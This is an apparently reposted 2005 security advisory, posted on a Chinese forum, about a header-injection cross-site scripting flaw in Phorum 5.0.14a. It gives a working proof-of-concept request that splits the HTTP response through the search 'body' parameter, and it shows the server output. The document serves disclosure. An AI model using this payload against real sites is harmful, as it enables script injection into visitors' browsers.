发新话题
打印

[转载]Phorum Location Header Cross Site Scripting

[转载]Phorum Location Header Cross Site Scripting

  信息来源:Alexander Anisimov

Summary
"Phorum is a web based message board written in PHP. Phorum is designed with high-availability and visitor ease of use in mind. Features such as mailing list integration, easy customization and simple installation make Phorum a powerful add-in to any website."

Input passed to the "Location" parameter is not properly sanitized. This can be exploited to inject malicious characters into HTTP headers and allows execution of arbitrary HTML and script code in a user's browser session in context of an affected site.

Credit:
The information has been provided by Alexander Anisimov.

Details
Vulnerable Systems:
* Phorum version 5.0.14a

Immune Systems:
* Phorum version 5.0.15a

Request:
http://[server]/phorum5/search.php?forum_id=0&search=1&body=%0d%0a Content-Length:%200%0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0a Content-Type:%20text/html%0d%0aContent-Length:%2034%0d%0a%0d%0a
<html>XSS</html>%0d%0a &author=1&subject=1&match_forum=ALL
&match_type=ALL&match_dates=30

Result:
HTTP/1.1 302 Found
Date: Tue, 01 Mar 2005 12:33:53 GMT
Server: Apache/1.3.31 (Unix) PHP/4.3.10
X-Powered-By: PHP/4.3.10
Location: http://[server]/phorum5/search.php?0,search=1,page=1,match_type=ALL, match_dates=30,match_forum=ALL,body=
Content-Length: 0

HTTP/1.0 200 OK
Content-Type: text/html
Content-Length: 34

<html>XSS</html>
,author=1,subject=1
Connection: close
Content-Type: text/html
<...>

Disclosure Timeline:
* 10.03.05 - Reported to vendor
* 22.03.05 - Public release
曾几何时,有人对我说:装B遭雷劈。我说:去你妈的。于是,这个人又对我说:如果再说脏话,上帝会惩罚你的。我说:我操上帝。结论:彪悍的人生不需要上帝。

TOP

发新话题